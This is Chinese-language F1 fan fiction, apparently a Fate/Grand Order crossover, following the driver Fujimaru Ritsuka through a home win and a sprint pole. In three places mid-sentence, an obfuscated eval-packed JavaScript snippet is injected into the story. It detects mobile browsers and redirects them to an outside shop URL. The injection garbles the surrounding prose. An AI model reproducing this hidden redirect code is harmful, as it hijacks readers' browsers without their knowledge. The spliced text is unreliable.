一圈、一圈又一圈。精准控制刹车点,姿态平稳地入弯,灵活的油门把控正在燃烧着属于车手的天赋直感,藤丸立香用自己的身体敏锐地感知着身下赛车的每一个转向,以尽可能最快的出弯速度进入直道。 每一圈都保持一模一样的稳定节奏,只需要知道前进即可的大脑操控着方向盘,只需要知道开车就好的身体把控着轮胎的实际状态,以随时调整驾驶方式的姿态矫捷地化身赛道上最快的车——车手感觉不到其中的任何阻碍,于是她平静地驾驶这台车,在这条经典的高速赛道上跳着精妙绝伦的单人舞,以良好到每一圈圈速都在刷紫的节奏无所顾虑地前进着。 天空阴云密布,但是赛道仍然干燥,温度仍然正常,阵风虽令人困扰但还算意料之中。偶遇各式各样黄绿灯的缤纷多彩旗帜被出示,不为所动的立香继续管理自己的轮胎,在第二十八圈卡着第二个双黄旗的开始直接入站换硬胎。冷静、理智,不为任何外部因素所动摇,只打算执行plan A的她带着2.0s的换胎时间与全场最新的硬胎回到已经刚刚转为绿旗的赛道上。 暖胎,奔跑,前进,推进,超车,然后回到拥有干净空气的P1位置,没有人阻挡自己,也不会有人能阻挡自己。干脆的线路选择,利落的入弯出弯,果断启用的换挡时机,柔和但精确的转向,冷静自如的节奏把控,每一个弯都确保轮胎状态良好的驾驶,驾驶者总觉得自己今天似乎过分冷静。大脑空空什么都不去思考的车感至上正要占据思维上风,这样的驾驶,对于常被强调的策略更重要……似乎不太好?但好像也没什么不好的吧。 Push、push、push,推进的车,每时每刻都在管理的轮胎状态,稳定的节奏与圈圈皆相近的刷紫圈速,以惊人的平衡兼具速度驶入Maggotts-Becketts的连续高速弯,干净的空气与前后左右皆无车的空旷让回归领跑位置的车手有些诧异。她在意识到这一点后于tr里询问工程师,却得到了P2正与P3缠斗难分难舍拉不开距离,P4、P5、P6三车纠缠难分胜负只是一味压车……噢,她这样回答。 藤丸立香用只是“copy”的话语回答,然后继续着自己今天的小车跑圈工作。 推进、推进、推进,一直不断地push,一直不断地只需要推进和管理轮胎,每一个入弯出弯都保持着最好的节奏、最佳的出弯速度与最能保护轮胎性能的刹车控油。她觉得自己今天的运气会很好,虽然用预感、冥冥之中、下意识这些的词语来形容似乎不太精确?但车手本人确实有一种直觉:我今天会赢。 而自己的直觉常常准确无误 ,至于为什么……车手的心底或许还是有些迟疑的,她想,噢,因为这里是卡美洛吧。 向前跑,不要回头,不要摔倒,你就能得到冠军。如此简单的道理,谁都应该知道才对,幼稚园时举办过的过家家一样的运动会,自己也是这样获得冠军的吧? 即使是操控只需一瞬便从0回到300码的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你是第一次赢比赛的愣头青吗?”那个人说。 ‘……’ “哭吧,”那个人说,“下一次就是我赢了。” 泪水,夺眶而出的泪水,装满头盔的泪水,比喜悦先行到来的泪水,那些并不轻盈的泪意,那些始终在试图吞噬她的快乐、振奋、少年意气与……喜悦的眼泪。她仰起头看仍然乌云密布的天空,一滴雨都没有。观众席上银白海浪的潮水跟随方格旗的舞动淹没头盔下的自己,过去常常表现在镜头面前的性格让哽咽的话语需得在喉中细细筛过才能在tr中伪装成只是快乐的“yahhhhhhhhh——” 获得首个一级方程式分站冠军的车手挥着自己的手臂,向观众席扬起的拳头捏得紧紧,牢牢地抓着空气,一点都不肯放。她或许只是太过高兴、太过激动,把PTW的快感全变做泪腺工作的源泉,也或许,只是哭了。 那些紧抓不放的过去如同天边笼罩卡美洛赛道的云团,一滴雨也不愿意少聚拢。头盔与护目镜遮挡所有,于是那些或奇或怪的一言一行都看起来正常无比——新秀主场夺冠!从排位到正赛都完美到无懈可击的发挥,杆位起步P1完赛、最快圈、领跑正赛每一圈的首获大满贯,多么强大的表现啊!谁会有空探究年轻人此时此刻的一举一动都是因为什么呢? 将车停至P1的标牌之后,她干脆利落地拔掉方向盘,解开其他的安全束缚,从halo中探出身体来。振奋挥臂的神采飞扬,立于赛车之上的车手为正在工作的摄影师留下足够撑台面的姿态后,轻盈地跳回地面。立香一路小跑,一跃而起地越过挡板,接收来自那些等待许久早已亢奋非常的车组人员给予自己的源源不断的拥抱与拍肩。 那些用力的双臂相拥,那些各式各样又殊途同归的祝福,那些在每一个臂弯中所感受到的真心实意,她原该游刃有余地回答所有人送来的爱与夸赞,可此时此刻却几乎难以自控泪水,只能暗自庆幸头盔与护目镜的存在,然后用泪与汗打湿自己的防火面罩。 藤丸立香在拥抱的最后紧紧抱着自家工程师,与队友交换握手与半个肩膀的拥抱,和路过自己身旁的每一个车手分享代表快乐的怀抱,大力地回抱自己的车队老板兼监护人,不管不顾地要技术总监给予“做得好”以外的鼓励,她把喜悦放在大家肩膀之上,听所有人似曾相识的慰问与祝福话语。 ……这样的时候,应该还差一个人吧? 胡思乱想的大脑乱如一壶浆糊,不知道究竟应该想些什么的车手拥抱着自己的混乱与泪意。 天哪,立香在自己的心底用几不可闻的语调回答自己,飘忽的意识越过所有的其他想法来到耳边化作低语:是的,他们当然不会是她,那些曾经理所当然的来自青梅竹马、队友、对手、朋友、邻居、家人乃至……的祝福,谁都不会是她。 多么陌生的自己,何其陌生的自己,居然试图从第三者身上汲取熟悉的色彩,竟然试图在现实中寻找梦境的影子……藤丸立香原来还会做这样神经病的冒犯所有人的事吗? 天哪,她或许是哭了,也或许只是在哭。那些奔腾而来的浪潮将大脑底端的理智与冠军稍后必须完成的采访行程都在心里抹去了,她甚至不愿意脱去头盔,将自己几乎脱水的脸与满面泪痕的脸暴露在镜头面前。车队狂欢一般的庆祝还在继续,赛后的工作即将开始,领奖台的最高处正在到来。四溢的香槟混杂了汗与泪,璀璨的灯光与明亮到刺目的烟花,都在她金光灿灿的眼中流淌着。 藤丸立香不可能不快乐、不可能不心满意足,可是、可是,她的眼泪为什么一直在流呢?只是因为这里是卡美洛吗? 卡美洛、卡美洛、卡美洛,天哪!这又能代表什么?她问自己。 还是说,只是因为这里是卡美洛而已呢。 22.影之赛道1 “所以我讨厌你。” 那个人说。 “我讨厌那些把努力和加油干统统写在脸上的人,自以为只要这样做就能够得到他人的认可与赞同。” “我讨厌那些嘴上说自己明明可以更努力一点的人,他们常常只需轻松的努力便能超越那些不言不语但努力非常的天赋平庸者,甚至不需要他者的认同与否就能够自顾自努力下去,太令人恐惧了。以至于,我无法拒绝这样的人。” “也因此,我同样厌恶我自己。” “没关系~”听到这段话的人笑容灿烂地回过头来,橘红的头发在阳光下同样灿烂的不可思议,“只要我们都还在赛场争夺第一名,那你就永远不会输给会在嘴上说‘可以再努力一点’然后看起来轻轻松松就得到胜利的家伙,因为还有下一场、下下一场和永远不会停止的明天。自我厌恶也不过是继续前进的一部分而已吧?” “毕竟奥尔加玛丽是永远不会放弃时机,就算只有一点希望也会‘等待’下去的特别特别厉害的车手,所以我喜欢你呀。”固执的话语,执拗地要对方与自己保持对视,那个自己说,“我们会永远在这里你追我赶,为同一个冠军拼命不是吗?” “不,”语气变幻莫测,对方似乎在突然之间平静下来,扭过头去,“只是因为这里是卡美洛而已。” “我说你,也该醒了吧。” 梦,又是梦。她在一片黑暗中睁开眼,迷蒙的眼睛试图从上面光亮都没有的房间里寻觅可能存在的人影……什么都没有。床的主人摇摇晃晃地立起上半身,摁开手机屏幕来瞧现在的时间——13:24。 恭喜的话语、祝福的仪式、车队无尽狂欢的庆祝、疯狂的赛后派对、人来人往的名利场与即将到来的无穷无尽商务行程,她又倒了回去注视天花板上的纹路,闭上眼试图回味自己什么记忆都没有留下的梦——还是什么都没有。于是藤丸立香掀起被子,打开门,离开了床与房间。 卡美洛站后有近两个星期的无赛行程,五月的到来意味着本赛季一级方程式的欧洲大奖赛已经走入倒计时。下一站是凯尔特车队的主场,由车队老板斯卡哈-斯卡蒂一手打造的,截止目前为止北欧国家唯一一条的F1赛道,位于斯凯岛的影之赛道。 尽管凯尔特车队总部是在苏格兰,但是谁管这个呢?谁给的钱多,谁就是一级方程式的老大。在F1的世界里,哪怕是几千亿的QP砸下去,运气好的说不定能变成赛场上的0.01s,运气不好的连砸个响声都砸不清脆。 一手砸出原濒临破产凯尔特车队新生的老板斯卡哈-斯卡蒂,和目前的车队领队、曾经的F1车手斯卡哈是姐妹关系。 理所不当然的是,这两人的关系有别于围场常见的扭曲亲情,竟然是可以算作正常的姐妹情——这至少有100%的原因是车队老板斯卡蒂当年跑的耐力赛。 被卡斯特从第N个派对中拖出的藤丸立香还带着困顿,斯卡娅在卡美洛站赛后热情高涨地给拿下分站冠军的车手送来了层出不穷的社交活动。 其数量之多,在某种程度上连自诩社交能力max的社交达人都有点吃不消——说到底我又不是派对型人格!真以为谁都是梅芙吗?!在这方面上怎么看我都更像库丘林吧! 她困到眼神溃散地听对方喋喋不休地谈论自己和雅兰杜上一站比赛中的矛盾与摩擦,立香用勺子敲了敲刚刚吃完的草莓芭菲杯子,有礼有貌地问对方:“你们是复合了吗?” “?”被立香突然爆出的可怕言论吓得倒吸一口冷气,卡斯特猛地站起身来左顾右盼确认没有熟人和相机镜头后才坐下,然后在憋死立香之前,松开自己捂住立香嘴巴的手,卡斯特面容严肃,“没有这种事,不是说好我初恋是你吗?!” “……啊,”逃出生天的立香喝了口水以做恢复,“还有这种事,奥伯龙怎么看?” “呵呵,”冷笑的卡斯特只是冷笑,“谁管他怎么看,卡美洛站圆桌四台车只有我一台P2,加哈拉德一台P7,其他全不在积分区,硬生生把难得来现场的亚瑟、摩根全都震住了。他和梅林原本单方面两看相厌,现在已经到根本无视对方的情况了,迟早会被摩根折磨的家伙,谁管暗の妖精王会怎么看。” “虽然但是,你们两支队伍总共也才四台车。”立香委婉指出,她再次喝了一口水。 “谁让两位又开始争谁才是妈妈的好女儿了,”卡斯特语带阴暗,恨不得下一刻就化身吸血鬼片场里的阴湿病娇主人公,“大小姐属性已经够让人恼火的了,再加上乱七八糟的总爱在赛道上无缘无故搞针对、争当鱼雷,不会开车的话还不如把席位乖乖让回给巴格子!” 努力压低的声调不知不觉愈发高扬起来,卡斯特一通输出完后,终于想起来可以把职阶从狂转回术,她抬起杯子打算喝口水润润嗓子,有些困惑地问立香:“你怎么左看右看的?” “……你完全没发现吗?”终于轮到了立香的困惑环节,欲言又止的喉咙把“你是不是只是在说芭万希”之类极可能添油加醋的话语吞了回去,立香目移,“奥伯龙在你背后。” 在双方的良久沉默后,选择开口打破死寂局面的立香清清嗓子决定承担起自己造成的烂摊子:“我们要不,去开车吧?” “什么车?”强忍当街对骂欲望的当事人双方环顾摄像头的四周,对Pr们(罚款)的恐惧毋庸置疑地超越了骂人的欲望。 “卡丁车,”立香朝甜品店背后的街角指去,双手合十的击掌发出清脆的响声,罪魁祸首笑眼眯眯但理所当然地说,“进门前我就看到了,这下凑齐两位车手和一位教练,行动!” “你的意思是,你偷偷溜出派对后的第一件事是跑回去开卡丁车,还开上头硬要刷新那个卡丁车场的最新圈速,引无数镜头追拍,”笑容和煦的高扬斯卡娅凝视自家心虚化作扁扁橘子的小孩,“是这样吗?” “我又不爱喝酒,”在大人面前委屈抱怨的立香小声回答,“怎么看都是派对的问题吧?!” 没有比赛的日子流水一样从掌心溜走,带着蒙蒙困意来到下一站比赛的举办地,周四的媒体日第一次拥有令藤丸立香感到困扰的人多与提问多。 她左看右看,在意识到自己得不到任何一位车手其实能言善辩的事实后,很是悲伤地破罐子破摔,让主持人把关于自己的问题先抛完。 “立香你在连续几站发挥失利后,对于上一站的卡美洛主场胜利,有什么想对这周日的自己想说的呢?” 困惑,上一站比完赛不是问过了吗?但是基础问题,可以好好回答,立香扬眉笑答:“再接再厉,如果还能喝一次冠位香槟就好了。” “立香上一站比完后,据说迦勒底车队一时之间没找到合适的香槟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095835|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,领奖台是直接用的冠军香槟。是没准备好,还是车队根本没准备呢?你对此有什么想对车队说的?” 奇怪,最后不是拿了戈夫的珍藏款苏打上去吗?哪来的小道消息,务必驳回,立香收起自己的招牌笑脸,佯装出真心实意的困惑,“没有这样的事吧?但是想对车队说还真有,希望这周能让大家再来一次冠军庆祝!” “很好的祝愿,这里是太阳王体育频道,立香你对前几天在伦敦和卡斯特选手较劲刷新当地一个卡丁车场的最新圈速,最后却被一个叫做‘暗之妖精王’的成绩压在了第二位,有什么想法吗?” 这啥问题啊,是我没听懂吗?不知道现在应该直接笑,还是应该等会和卡斯特一起笑完再被奥伯龙瞪然后继续笑的立香强忍笑意,她假装自己听懂了地开始乱回:“好久没玩卡丁车了,所以和卡斯特跑去玩了一下,技不如人给一级方程式丢脸了我很抱歉。下一个。” “早上好立香,这里是雅戈泰体育频道,这里先再次恭喜你拿下卡美洛站的胜利,想问一下你对于近期‘卡多克不满车队给予藤丸立香特调车’的言论,有什么想说的吗?” 哇哦居然还有这种问题,兴致勃勃起来的立香在感到不妙的卡多克拿起麦准备拦截问题之前先开了口,她语带好奇:“感谢你的祝福,但这种问题总觉得好耳熟,那些文章里面是不是还夹带‘付费车手怎么可能把车开好’、‘赞助关系户把自己的鱼雷带走回霓虹去吧’……这样的说法?” 队友字正腔圆、语带煽风点火的话让卡多克倍感加倍不妙,他回头看了一眼身处舞台背后不好打断车手回答的pr,在pr“快!拦!下!”的痛心疾首中艰难地拿起麦:“没有这种言论,我们没有特调车,明年不换引擎厂,没有付费车手,立香平时喜欢看报纸,以上言论纯属玩笑,不具备真实性。” 终于想起来pr在一边的立香心虚目移,她终于回忆起自己几周前的车手公共关系课程,清清嗓子为队友的话添上可信力,“对的,卡多克说的话就是我说的话,总之,下一个。” “立香、卡多克下午好,这里是佛陀频道,想问一下你们对彼此的评价,以及立香你似乎不太在意媒体的言论,这是否可以理解为你对自己进入围场后的这一年前五个站的发挥并不满意呢?因为你目前是车手车损榜的第一名。” “我们是好的队友,关系不错的朋友。”卡多克即答。 “同上,但是媒体的言论……”这啥啊,为逻辑不通的问题感到苦恼,努力思考也没听懂的立香决定放弃思考,“我不在乎,这既不会影响到我的席位,也不会影响到我的成绩。人们常常热衷于说风就是雨,尤其网络流行起来,连报纸都追不上舆论的车尾气了。” 她耸肩,在镜头面前露出一个笑来,“我不需要别人的认可,我的家人确实在为我的席位努力,你们大可继续认为我只是一个只会开车上墙、让车队维修账单满天飞的车手。至于发挥如何、是否满意,五站一个领奖台一个冠军,我很满意,毕竟其他的时候我们都没办法控制意外事故,车损同样如此。在这一点上,无论他者对我认可与否,都不会影响到我是否能够开上一台更好的车或者我是否能够站上领奖台。而当你赢得够多,人们就会自然而然地转过头来,真心实意为这位车手说起‘她值得’的这类话语。” “所以,我不在乎。” 23.影之赛道2 由于坐拥本赛季的第二场冲刺赛,周五一练与冲刺赛排位赛、周六冲刺赛与正赛排位赛以及周日的正赛,斯凯岛大奖赛的赛程安排在五月份北欧地区的基础条件“添油加醋”下,常常紧凑的让所有车队感到时间不充裕。 练习时间被压缩到只有60分钟,没有犯错空余的一练意味着车队必须高效搞定所有数据收集、策略工作与赛车冲刺赛调校。迦勒底的两位车手在赛道上忙忙碌碌地交替完成长距离、极限单圈与不同轮胎配方的测试模拟,面对赛道巨大海拔落差和高速弯角对轮胎的影响,车手们竭力摸索着管理方法,好配合车队在直道速度和弯道抓地力之间找到平衡。 下车后尚未来得及脱下头盔,又被无处不在的pr追上前嘀嘀咕咕的立香挂起痛苦面具,车手在坐回去狭小座舱被车开,还是老老实实和pr发誓自己一定善用公共关系课的所有理论、决不乱说话!的两个选项之间,选择了后者。 并不买账的pr冷笑对惯犯,她爱抚橘发小狗的笑脸,留下了冷冰冰的“等会冲刺赛后混采区最好说到做到”之类话语。 感到不被信任的车手在打算大悲地“撒泼打滚”前,想起了自己锈迹斑斑、可信度疑似已降至零的过往采访发言记录,很是心虚的车手低下头回答:“我一定把所有危险问题都扔给卡多克!这样总没有问题了吧!?” 路过的卡多克看到了pr迅速和缓的脸色和欣慰点头的动作,他在意识到自己应该怒视队友之前,只是困惑地指向他自己:“我吗?” 影之赛道单圈近7公里的长度,有着约百米的海拔落差。正赛需要跑44圈,而冲刺赛只需要跑15圈。冲刺赛要跑的距离短,所以策略上也相对简单,决定冲刺赛策略是一停还是干脆无停的只有一个:起步位置。 尽管天气情况也是重要的影响因素之一,但面对晴朗无云的天气预报与干燥到让车手们人均大汗的路面情况,所有车队都打算在SQ3上软胎来搏冲刺赛的起步。 SQ1中性胎只跑了两个计时圈就悠然进站,迦勒底的车手对于自己能否晋级到SQ2的可能性没有任何怀疑——迦勒底的车和这条赛道委实合得来。 为了在直道上追求极速,同时在弯道中保持足够抓地力,车队一番计算与模拟之后选择了中偏低的下压力调校,刚刚好踩在SB-18新引入升级的舒适区。如此骄人的竞争力与两台车均傲居前五的单圈成绩,终于让技术总监常常挂在脸上的“天呐我居然造出了一台这么烂的车!!!”可喜可贺地消失了。 确认自己已做出的有效成绩肯定能在前十五后,立香进站调整赛车设定。 不断提升的赛道抓地力的背后是极低的容错率,换句话来说,那就是尚未达最佳的赛车设定,最好能在竞争激烈的SQ2到来前就找到单圈极限。 SQ2正式拉表,交通干净,遂直接搭载旧中性胎驶出赛道,车手礼节性地跑了个准备圈,确保轮胎与车都已进入工作状态,随即立刻摩拳擦掌准备飞驰圈。 从第二个计时圈的发车区开跑,面对全赛道最慢的发卡弯(1号弯)选择入弯前重刹,瞄准弯心,精准出弯,迈着更快的出弯速度驶入下坡路段。干地,所以全油门是通过Eau Rouge和Raidillon弯时无需思考便能做出的选择——也可能仅限于一心只渴望更快的藤丸车手,全油门上下坡均为危险举措,请谨慎模仿。 以约300公里/小时的速度冲下坡,在压力与速度的双重感知中用身体的每一处细细把握赛车的具体行驶状态,立香卡在车子落到最底部的那一瞬间,换挡出弯,再果断转回全油门爬坡。超过5倍体重的纵向G力,正在反复且直挺挺地压在自己与车身之上,对于两侧的速度只能用肾上腺素和纯粹的身体感知来做大脑思考——即使车手可能什么都没在想。 被爬坡所考验的动力单元开足马力,车手习以为常的引擎声正在耳边回荡。出弯,长度约两公里的直道push,随即进入直道刹车区,大力重刹,藤丸立香以先左后右的节奏干净出弯来到下一段可供继续加速推进的直道区。隔着头盔、耳机与耳塞都难以阻挡的分贝盘旋于空旷的山林之间,唱着司机本人想要的第一计时段刷紫小曲。 接踵而来的双顶点左长弯,六档高速,两个弯心,仍旧全油门驾驶的司机并未被赛道难度挑战到胆量下限,唯独赛车空力运作稳定性有些令她忧心。 干脆出弯,利落入弯,一系列的高速弯以左右右的连续右弯的姿态,要求赛车紧贴护墙行驶。刺耳的呼啸声没能过掉头盔,毫无波澜的车手面色从容地来到最后的减速弯组合路段。大力制动,精准减速,切过部分路肩好让车身出弯之时对准直道。车身摆正,全油门冲过终点线——第三个计时段,紫色。 “第二个计时段呢?”车手在无线电频道里询问工程师。 “黄色,”罗玛尼回复,“六号弯下坡转向稍微过度,下坡后的速度有流失。” “盲坡刹车点没找好,路肩吃太多了,”老实承认失误的立香答道,“下一圈我注意。” 无压力晋级SQ3,冲刺赛最后一轮排位赛开始拉表,车手还在挠头思考六号弯如何处理得更加柔和,她在tr中得到交通干净的汇报后才“悠悠然”驶出P区,准备开始自己的第一个计时圈。 搭载新软胎的准备圈正在为暖胎工作全力以赴,温度与天气的配合奠定了车手能够轻松完成准备圈工作的基础。藤丸立香心态上很是轻松,否极泰来的近期工作运势让她对今天的排位赛和明天冲刺赛正赛都抱有莫名的自信感。 “你确定要在tr里说出来?”工程师在无线电频道里发出幽幽低语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116248|192955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正要通过十号弯的车手被突然的声音吓了一跳,紧贴弯道内侧的车身出弯时转向不再细微让她更加谨慎地进行手上工作,立香拖着尾音抱怨:“Don''t talk now——” “抱歉,收到。”道歉的对象轮换过来,意识到方才不妥之处的罗玛尼挠了挠自己蓬松的头发,他扁扁地回答。 斯凯岛北欧大奖赛作为才加入型月一级方程式赛历没几年的新赛道,因其集长度、速度、独特地形以及天气多变性于一体的经典与挑战性,而颇受车手与观众席的喜爱。 高技术性的赛道,对赛车的引擎、空力效率、悬挂和胎耗都有着几乎可以称作最高级别的考验。全方位终极测试场地代号或许有些言过其实,但是一台车的好坏却绝对能在这里将优缺两侧分别展露得一览无余。 总结:好车起飞,坏车坏透。 坐拥好车,还从容斩获冲刺赛排位赛P1的美好成绩,明天的冲刺赛正赛杆位车手很是快乐。 延续着上一站的好心情,轻松解决掉某些过弯小麻烦的藤丸立香决定在媒体镜头面前把灿烂笑容当做自己的脸部表情的永久时——甚至一直笑,嘴也不会酸诶! “这是立香你第一个冲刺赛杆位、第二个新秀赛季杆位与职业生涯杆位,对此有什么祝福想给明天的自己吗?” “当然是~”脸上的笑容远比天边烈日还要璀璨,从未制止过自己得意洋洋、欣喜万分的快乐,立香扬着甜蜜蜜的语调与自己面前的记者眨眨眼,“希望明天还能是你来采访冲刺赛的P1得主和后天正赛的杆位车手,这样的话,挖掘到冠军新闻的人和冠军本人就都能够拥有美好周末了吧。” “谢谢你的祝福,”立于镜头面前也忍俊不禁,记者笑问,“那除了祝福以外呢?立香对于今天的自己又有什么想说的呢?” “唔,”佯装深思的车手展示自己空空如也的掌心,“其实我觉得冲刺赛的杆位也应该有小轮胎,虽然冲刺赛的冠军也只有小轮胎……” “像苏打香槟一样的小轮胎吗?”记者用着戈夫不久前的采访来调侃车手。 “那说不定还可以送杆位香槟,”立香当即笑答,“就是万一拿了杆位香槟却没有拿到冠军香槟就糟糕了。” 快速完成混采区工作的车手跟随工作人员的指引,立香在换掉赛车服变回日常装束,准备进行排位赛前三车手的专访会。 原本紧跟在她身旁的Pr突然地点了点立香,车手回过头去,用眼神做询问:怎么了。 Pr招手,于是立香从善如流俯身低头,去听对方的低声耳语:“凯尼斯小姐来了,你结束后记得回来一趟。” “好,”立香做了个没问题的OK的手势,双手合十地央求,“那帮我转告爱德蒙,说稍后可能需要再等一会,麻烦了!”